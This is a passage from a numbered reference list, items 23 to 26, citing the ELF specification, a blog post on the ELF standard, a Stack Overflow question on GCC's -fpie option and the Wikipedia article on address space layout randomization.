  23. https://refspecs.linuxfoundation.org/elf/elf.pdf
  24. https://brant-ruan.github.io/other/2016/08/25/ELF-标准.html
  25. https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld
  26. https://en.wikipedia.org/wiki/Address_space_layout_randomization